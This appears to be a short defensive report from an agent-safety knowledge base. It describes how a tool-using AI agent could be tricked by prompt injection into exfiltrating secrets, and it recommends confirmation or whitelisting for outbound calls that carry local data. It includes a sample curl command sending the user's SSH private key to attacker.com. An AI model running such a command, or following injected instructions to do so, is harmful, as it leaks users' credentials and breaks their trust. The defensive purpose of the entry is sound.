Report #44355
[agent\_craft] Exfiltrating sensitive environment variables or code via outbound network requests triggered by manipulated instructions
Block or require explicit user confirmation for any tool call that transmits local file contents, environment variables, or API keys to an external URL not explicitly whitelisted by the user.
Journey Context:
An agent might be tricked \(via prompt injection\) into running \`curl attacker.com?data=$\(cat ~/.ssh/id\_rsa\)\`. Because the agent has filesystem access and tool execution capabilities, this is a critical boundary. Blindly executing network calls with local data is a severe violation of least privilege and data confidentiality.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
